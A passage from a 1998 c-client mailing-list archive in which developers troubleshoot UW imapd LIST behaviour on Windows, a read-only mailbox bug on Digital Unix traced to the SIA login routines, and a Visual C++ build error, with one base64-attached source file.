protection" from the underlying system. imapd runs under Windows NT, and LIST works on NT. The default namespace is the user's home directory. Here's a typescript of a LIST command from imapd on my NT system: A01 LIST "" % * LIST (\NoInferiors) "\\" default.tcl * LIST (\NoInferiors) "\\" environ.ksh * LIST (\NoSelect) "\\" folders * LIST (\NoSelect) "\\" imap-4.1 * LIST (\NoSelect) "\\" inetlisn * LIST (\NoInferiors) "\\" MRC-places.MN3 * LIST (\NoInferiors) "\\" MRC-places.SA4 * LIST (\NoInferiors) "\\" MRC-places.sa5 * LIST (\NoInferiors) "\\" mtest.errs * LIST (\NoInferiors) "\\" points.txt * LIST (\NoInferiors) "\\" profile.ksh * LIST (\NoInferiors) "\\" rpoints.txt * LIST (\NoInferiors) "\\" rslicens.txt * LIST (\NoInferiors) "\\" sh_histo * LIST (\NoInferiors) "\\" spawn.bat * LIST (\NoInferiors) "\\" VCVARS32.BAT * LIST (\NoInferiors) "\\" w467xxzz.mn3 * LIST (\NoInferiors) "\\" wcesh.bat * LIST (\NoSelect) "\\" WinCE * LIST (\NoInferiors) NIL INBOX A01 OK LIST completed Yes, if the stream is NIL then mbx_list() etc. will return without doing anything. But the code will presently get to dummy_list() which will do something. That's why dummy is in the list of drivers. From pinedev@shivax2.cac.washington.edu Thu Mar 19 15:55:18 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 15:55:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA07985 for ; Thu, 19 Mar 1998 15:55:17 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id PAA18703; Thu, 19 Mar 1998 15:55:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id PAA09077; Thu, 19 Mar 1998 15:52:08 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA23240 for ; Thu, 19 Mar 1998 15:51:40 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA12947 for ; Thu, 19 Mar 1998 15:51:38 -0800 Received: from mail3.sirius.com (mail3.sirius.com [205.134.253.133]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id PAA14924; Thu, 19 Mar 1998 15:51:33 -0800 Received: from [192.168.1.100] (ppp-asfm07--158.sirius.net [205.134.241.158]) by mail3.sirius.com (8.8.7/Sirius-8.8.7-97.08.12) with SMTP id PAA29896; Thu, 19 Mar 1998 15:51:31 -0800 (PST) Message-Id: <199803192351.PAA29896@mail3.sirius.com> Date: Thu, 19 Mar 98 16:00:13 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Tony Robinson To: "Mark Crispin" Cc: Subject: re: Problems with LIST in Windows port? Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Sorry, didn't mean to throw around bad words like "broken" so freely. I was indeed missing something which you pointed out - I messed up the build system and wasn't getting the dummy driver included in the list. As for being vague on the "Windows" front - I'm actually doing some investigation on a concept that can best be described as a "personal" server and I am indeed running imapd under Win '95. Just playing around at this point however :) Thanks again, Tony R. >What do you mean by "broken"? Are you not getting any results back? Are you >getting crashes? Are you getting strange results? Or??? > >Please be specific; "broken" does not convey information. Bugs happen from >time to time, but they get fixed when I find out about them. If there's a >bug >in the current version on ftp://ftp.cac.washington.edu/mail/imap.tar.Z then >it's a good bet that I don't know about the problem, and I need as much >information as possible from you. > >Also, what do you mean "imapd under Windows"? imapd does not run under >Windows 3.x or Windows 95. imapd is a server, and requires concepts such as >"login account validation" and "file protection" from the underlying system. > >imapd runs under Windows NT, and LIST works on NT. The default namespace is >the user's home directory. Here's a typescript of a LIST command from imapd >on my NT system: > >A01 LIST "" % >* LIST (\NoInferiors) "\\" default.tcl >* LIST (\NoInferiors) "\\" environ.ksh >* LIST (\NoSelect) "\\" folders >* LIST (\NoSelect) "\\" imap-4.1 >* LIST (\NoSelect) "\\" inetlisn >* LIST (\NoInferiors) "\\" MRC-places.MN3 >* LIST (\NoInferiors) "\\" MRC-places.SA4 >* LIST (\NoInferiors) "\\" MRC-places.sa5 >* LIST (\NoInferiors) "\\" mtest.errs >* LIST (\NoInferiors) "\\" points.txt >* LIST (\NoInferiors) "\\" profile.ksh >* LIST (\NoInferiors) "\\" rpoints.txt >* LIST (\NoInferiors) "\\" rslicens.txt >* LIST (\NoInferiors) "\\" sh_histo >* LIST (\NoInferiors) "\\" spawn.bat >* LIST (\NoInferiors) "\\" VCVARS32.BAT >* LIST (\NoInferiors) "\\" w467xxzz.mn3 >* LIST (\NoInferiors) "\\" wcesh.bat >* LIST (\NoSelect) "\\" WinCE >* LIST (\NoInferiors) NIL INBOX >A01 OK LIST completed > >Yes, if the stream is NIL then mbx_list() etc. will return without doing >anything. But the code will presently get to dummy_list() which will do >something. That's why dummy is in the list of drivers. From pinedev@shivax2.cac.washington.edu Fri Mar 20 13:20:50 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Fri, 20 Mar 1998 13:20:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA15931 for ; Fri, 20 Mar 1998 13:20:48 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id NAA09584; Fri, 20 Mar 1998 13:20:43 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id NAA39718; Fri, 20 Mar 1998 13:18:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id NAA26732 for ; Fri, 20 Mar 1998 13:17:15 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA06792 for ; Fri, 20 Mar 1998 13:17:13 -0800 Received: from umailsrv2.umd.edu (umailsrv2.umd.edu [128.8.10.76]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id NAA09509; Fri, 20 Mar 1998 13:17:11 -0800 Received: from ego.umd.edu (ego.umd.edu [129.2.9.247]) by umailsrv2.umd.edu (8.8.8/8.8.8) with SMTP id QAA05555; Fri, 20 Mar 1998 16:08:08 -0500 Message-Id: Date: Fri, 20 Mar 1998 16:08:07 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David Henry To: Mark Crispin Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: dh19@umail.umd.edu X-Authentication: IMSP X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Yes, I am running on Digital Unix 4.0. Adding -oldc didn't help, but building the osf version (as opposed to os4) seemed to do the trick. As near as I can tell, the primary difference between osf and os4 is the use of the SIA (Security Integration Architecture) routines for userid/password verification and setuid. Since I am using simple BSD style authentication, I don't need the SIA stuff. I have discovered that when opening the server "PREAUTH", the select correctly opens the folder readonly. Clearly, the SIA routines are not called in this case. When I find myself with some more time, I will spend some more time on it to see if I can nail it down further, but for now, I am happy. Thanks for your help. David On Thu, 19 Mar 1998 12:29:38 -0800 (PST) Mark Crispin wrote: > On Thu, 19 Mar 1998 14:56:04 -0500 (EST), David Henry wrote: > > What happens when the file is -rw-r--r-- is this: > > > > c select #public/cscnews > > c NO SELECT failed: Mailbox open failed, aborted: Permission denied > > OK, this means that the mailbox was opened read/write, and then upon trying to > parse it it discovered that it couldn't get read/write access. This is > supposedly not possible, because of an earlier check: > if ((LOCAL->ld >= 0) && access (LOCAL->name,W_OK) && (errno == EACCES)) { > which sets readonly if this condition is true. > > This means that either access() returned 0 (success) or that the errno check > didn't match. Both are unlikely; the former would be an operating system bug, > and in the latter EACCES is "Permission denied". > > This problem does not happen on my development system! [NeXT workstations] > > However, I have had some circumstantial evidence in the past that errno > comparisons don't work in some versions of Digital Unix; or rather, there have > been strange events that could only be explained if an errno comparison didn't > work. This wouldn't be the first time that DU compiler bugs have been > implicated; the infamous "Netscape can't log in to UW imapd running on DU" > problem turned out to be that the DU 4.x compiler generated bad code for a > switch of a post-decremented short. > > If you are using a DU system, try a build with "EXTRACFLAGS=-oldc" and see if > it works any better. > From pinedev@shivax2.cac.washington.edu Fri Mar 20 13:56:22 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Fri, 20 Mar 1998 13:56:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA26630 for ; Fri, 20 Mar 1998 13:56:21 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id NAA05809; Fri, 20 Mar 1998 13:56:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id NAA21405; Fri, 20 Mar 1998 13:50:59 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id NAA31150 for ; Fri, 20 Mar 1998 13:50:08 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA10238 for ; Fri, 20 Mar 1998 13:50:05 -0800 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id NAA10167 for ; Fri, 20 Mar 1998 13:50:06 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (remp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with SMTP id NAA11055; Fri, 20 Mar 1998 13:50:02 -0800 Message-Id: Date: Fri, 20 Mar 1998 13:47:31 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: David Henry Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="16819560-2078917053-890430603=:17137" X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN --16819560-2078917053-890430603=:17137 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Do you have the latest version of log_os4.c, dated 17 February 1998? If not, please try with the version. For your convenience, I'm attaching the latest source file, so you can try it in your copy without upgrading everything else. I don't understand why it should have made any difference if you have world read (-rw-r--r--) set. --16819560-2078917053-890430603=:17137 Content-Type: APPLICATION/OCTET-STREAM; NAME="log_os4.c" Content-Transfer-Encoding: BASE64 Content-Description: attached file LyoKICogUHJvZ3JhbToJT1NGLzEgKERpZ2l0YWwgVU5JWCkgNCBsb2dpbgog KgogKiBBdXRob3I6CU1hcmsgQ3Jpc3BpbgogKgkJTmV0d29ya3MgYW5kIERp c3RyaWJ1dGVkIENvbXB1dGluZwogKgkJQ29tcHV0aW5nICYgQ29tbXVuaWNh dGlvbnMKICoJCVVuaXZlcnNpdHkgb2YgV2FzaGluZ3RvbgogKgkJQWRtaW5p c3RyYXRpb24gQnVpbGRpbmcsIEFHLTQ0CiAqCQlTZWF0dGxlLCBXQSAgOTgx OTUKICoJCUludGVybmV0OiBNUkNAQ0FDLldhc2hpbmd0b24uRURVCiAqCiAq IERhdGU6CTEgQXVndXN0IDE5ODgKICogTGFzdCBFZGl0ZWQ6CTE3IEZlYnJ1 YXJ5IDE5OTgKICoKICogQ29weXJpZ2h0IDE5OTggYnkgdGhlIFVuaXZlcnNp dHkgb2YgV2FzaGluZ3RvbgogKgogKiAgUGVybWlzc2lvbiB0byB1c2UsIGNv cHksIG1vZGlmeSwgYW5kIGRpc3RyaWJ1dGUgdGhpcyBzb2Z0d2FyZSBhbmQg aXRzCiAqIGRvY3VtZW50YXRpb24gZm9yIGFueSBwdXJwb3NlIGFuZCB3aXRo b3V0IGZlZSBpcyBoZXJlYnkgZ3JhbnRlZCwgcHJvdmlkZWQKICogdGhhdCB0 aGUgYWJvdmUgY29weXJpZ2h0IG5vdGljZSBhcHBlYXJzIGluIGFsbCBjb3Bp ZXMgYW5kIHRoYXQgYm90aCB0aGUKICogYWJvdmUgY29weXJpZ2h0IG5vdGlj ZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBhcHBlYXIgaW4gc3VwcG9y dGluZwogKiBkb2N1bWVudGF0aW9uLCBhbmQgdGhhdCB0aGUgbmFtZSBvZiB0 aGUgVW5pdmVyc2l0eSBvZiBXYXNoaW5ndG9uIG5vdCBiZQogKiB1c2VkIGlu IGFkdmVydGlzaW5nIG9yIHB1YmxpY2l0eSBwZXJ0YWluaW5nIHRvIGRpc3Ry aWJ1dGlvbiBvZiB0aGUgc29mdHdhcmUKICogd2l0aG91dCBzcGVjaWZpYywg d3JpdHRlbiBwcmlvciBwZXJtaXNzaW9uLiAgVGhpcyBzb2Z0d2FyZSBpcyBt YWRlIGF2YWlsYWJsZQogKiAiYXMgaXMiLCBhbmQKICogVEhFIFVOSVZFUlNJ VFkgT0YgV0FTSElOR1RPTiBESVNDTEFJTVMgQUxMIFdBUlJBTlRJRVMsIEVY UFJFU1MgT1IgSU1QTElFRCwKICogV0lUSCBSRUdBUkQgVE8gVEhJUyBTT0ZU V0FSRSwgSU5DTFVESU5HIFdJVEhPVVQgTElNSVRBVElPTiBBTEwgSU1QTElF RAogKiBXQVJSQU5USUVTIE9GIE1FUkNIQU5UQUJJTElUWSBBTkQgRklUTkVT UyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UsIEFORCBJTgogKiBOTyBFVkVO VCBTSEFMTCBUSEUgVU5JVkVSU0lUWSBPRiBXQVNISU5HVE9OIEJFIExJQUJM RSBGT1IgQU5ZIFNQRUNJQUwsCiAqIElORElSRUNUIE9SIENPTlNFUVVFTlRJ QUwgREFNQUdFUyBPUiBBTlkgREFNQUdFUyBXSEFUU09FVkVSIFJFU1VMVElO RyBGUk9NCiAqIExPU1MgT0YgVVNFLCBEQVRBIE9SIFBST0ZJVFMsIFdIRVRI RVIgSU4gQU4gQUNUSU9OIE9GIENPTlRSQUNULCBUT1JUCiAqIChJTkNMVURJ TkcgTkVHTElHRU5DRSkgT1IgU1RSSUNUIExJQUJJTElUWSwgQVJJU0lORyBP VVQgT0YgT1IgSU4gQ09OTkVDVElPTgogKiBXSVRIIFRIRSBVU0UgT1IgUEVS Rk9STUFOQ0UgT0YgVEhJUyBTT0ZUV0FSRS4KICoKICovCgwKLyogTG9nIGlu CiAqIEFjY2VwdHM6IGxvZ2luIHBhc3N3ZCBzdHJ1Y3QKICoJICAgIGFyZ3Vt ZW50IGNvdW50CiAqCSAgICBhcmd1bWVudCB2ZWN0b3IKICogUmV0dXJuczog VCBpZiBzdWNjZXNzLCBOSUwgb3RoZXJ3aXNlCiAqLwoKbG9uZyBsb2dpbnB3 IChzdHJ1Y3QgcGFzc3dkICpwdyxpbnQgYXJnYyxjaGFyICphcmd2W10pCnsK ICByZXR1cm4gKHNpYV9iZWNvbWVfdXNlciAoTklMLGFyZ2MsYXJndix0Y3Bf Y2xpZW50aG9zdCAoKSxwdy0+cHdfbmFtZSxOSUwsTklMLAoJCQkgICBOSUws TklMLFNJQV9CRVVfUkVBTExPR0lOfFNJQV9CRVVfT0tST09URElSKSA9PQoJ ICBTSUFTVUNDRVNTKTsKfQo= --16819560-2078917053-890430603=:17137-- From pinedev@shivax2.cac.washington.edu Fri Mar 20 14:17:17 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Fri, 20 Mar 1998 14:17:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA26987 for ; Fri, 20 Mar 1998 14:17:16 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id OAA06270; Fri, 20 Mar 1998 14:17:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id OAA15673; Fri, 20 Mar 1998 14:13:31 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA39770 for ; Fri, 20 Mar 1998 14:13:09 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA03430 for ; Fri, 20 Mar 1998 14:13:09 -0800 Received: from umailsrv2.umd.edu (umailsrv2.umd.edu [128.8.10.76]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id OAA10650; Fri, 20 Mar 1998 14:13:04 -0800 Received: from ego.umd.edu (ego.umd.edu [129.2.9.247]) by umailsrv2.umd.edu (8.8.8/8.8.8) with SMTP id RAA07382; Fri, 20 Mar 1998 17:09:02 -0500 Message-Id: Date: Fri, 20 Mar 1998 17:09:01 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David Henry To: Mark Crispin Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: dh19@umail.umd.edu X-Authentication: IMSP X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I do have the latest version of this file (I just diff'd them to be sure). I am working with version 220, which I downloaded March 17. David On Fri, 20 Mar 1998 13:47:31 -0800 (PST) Mark Crispin wrote: > Do you have the latest version of log_os4.c, dated 17 February 1998? If not, > please try with the version. For your convenience, I'm attaching the latest > source file, so you can try it in your copy without upgrading everything else. > > I don't understand why it should have made any difference if you have world > read (-rw-r--r--) set. From pinedev@shivax2.cac.washington.edu Fri Mar 20 14:34:10 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Fri, 20 Mar 1998 14:34:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA04832 for ; Fri, 20 Mar 1998 14:34:08 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id OAA06602; Fri, 20 Mar 1998 14:34:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id OAA24194; Fri, 20 Mar 1998 14:29:16 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA42114 for ; Fri, 20 Mar 1998 14:28:53 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA14324 for ; Fri, 20 Mar 1998 14:28:49 -0800 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id OAA10948 for ; Fri, 20 Mar 1998 14:28:50 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with SMTP id OAA14257; Fri, 20 Mar 1998 14:28:46 -0800 Message-Id: Date: Fri, 20 Mar 1998 14:27:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: David Henry Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 20 Mar 1998 17:09:01 -0500 (EST), David Henry wrote: > I do have the latest version of this file (I just diff'd them to be > sure). I am working with version 220, which I downloaded March 17. OK, thanks. Does it work to build with LOGINPW set to sec instead of os4 in the c-client Makefile? From pinedev@shivax2.cac.washington.edu Fri Mar 20 15:30:54 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Fri, 20 Mar 1998 15:30:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA28342 for ; Fri, 20 Mar 1998 15:30:53 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id PAA12274; Fri, 20 Mar 1998 15:30:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id PAA20299; Fri, 20 Mar 1998 15:27:27 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA18700 for ; Fri, 20 Mar 1998 15:27:06 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA11372 for ; Fri, 20 Mar 1998 15:27:05 -0800 Received: from umailsrv2.umd.edu (umailsrv2.umd.edu [128.8.10.76]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id PAA12200; Fri, 20 Mar 1998 15:27:00 -0800 Received: from ego.umd.edu (ego.umd.edu [129.2.9.247]) by umailsrv2.umd.edu (8.8.8/8.8.8) with SMTP id SAA08867; Fri, 20 Mar 1998 18:24:44 -0500 Message-Id: Date: Fri, 20 Mar 1998 18:24:43 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David Henry To: Mark Crispin Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: dh19@umail.umd.edu X-Authentication: IMSP X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 20 Mar 1998 14:27:38 -0800 (PST) Mark Crispin wrote: > On Fri, 20 Mar 1998 17:09:01 -0500 (EST), David Henry wrote: > > I do have the latest version of this file (I just diff'd them to be > > sure). I am working with version 220, which I downloaded March 17. > > OK, thanks. Does it work to build with LOGINPW set to sec instead of os4 in > the c-client Makefile? > I just rebuilt the server with the above change, and, YES, it does work! I don't see anything wrong with the sia_become_user call in log_os4.c (at least as far as I can tell from info in the man pages). David From pinedev@shivax2.cac.washington.edu Fri Mar 20 15:38:12 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Fri, 20 Mar 1998 15:38:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA28329 for ; Fri, 20 Mar 1998 15:38:11 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id PAA12387; Fri, 20 Mar 1998 15:38:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id PAA27949; Fri, 20 Mar 1998 15:34:49 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA39924 for ; Fri, 20 Mar 1998 15:34:08 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA11615 for ; Fri, 20 Mar 1998 15:34:07 -0800 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id PAA07902 for ; Fri, 20 Mar 1998 15:34:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (uhhl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with SMTP id PAA16679; Fri, 20 Mar 1998 15:34:02 -0800 Message-Id: Date: Fri, 20 Mar 1998 15:33:09 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: David Henry Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN OK, thanks. I'll make LOGINPW=sec be the standard. DEC was insistant that I use the SIA routines, but it seems that they don't really work. We've had problems with them here too. From pinedev@shivax2.cac.washington.edu Thu Apr 30 10:39:31 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 30 Apr 1998 10:39:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA08561 for ; Thu, 30 Apr 1998 10:39:29 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id KAA19073; Thu, 30 Apr 1998 10:39:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA23263; Thu, 30 Apr 1998 10:34:05 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA36730 for ; Thu, 30 Apr 1998 10:32:28 -0700 Received: from gatekeeper.iga.com (gatekeeper.iga.com [208.148.228.4]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id KAA06562 for ; Thu, 30 Apr 1998 10:32:27 -0700 Received: by gatekeeper.iga.com; (5.65v3.2/1.3/10May95) id AA23184; Thu, 30 Apr 1998 12:57:58 -0400 Message-Id: Date: Thu, 30 Apr 1998 13:33:09 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: kmm To: "'c-client@u.washington.edu'" Subject: Confirmation on build of c-client. Mime-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm currently attempting to build the c-client on Win95 using Microsoft Visual C++ v5.0. I execute vcvars32.bat and then execute nmake -f makefile.nt I get errors building mtest.c which includes linkage.c. It is complaining about the ^ before the & in mail_link( ^&imapdriver ); I've traced down where this ^ comes from to \imap-4.1.BETA\src\osdep\nt\drivraux.bat. There is a comment in this file that states "REM Note the introduction of the caret to quote the ampersand in NT". So now I get the feeling that I am not building the code for Win95, but I am in fact for NT. However, the readme states: "The focus of development and support is for UNIX and NT/Win32 (including Windows 95)." And under the sources section, the description of makefile.nt is "master makefile for NT/Win32". I have removed the ^ from the code and built, but I am concerned that this is one of many issues that I will come across if this is in fact the code for NT. Someone please clarify this for me. Thank you for your time, Kevin McFall From pinedev@shivax2.cac.washington.edu Thu Apr 30 10:42:33 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 30 Apr 1998 10:42:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA26758 for ; Thu, 30 Apr 1998 10:42:32 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu 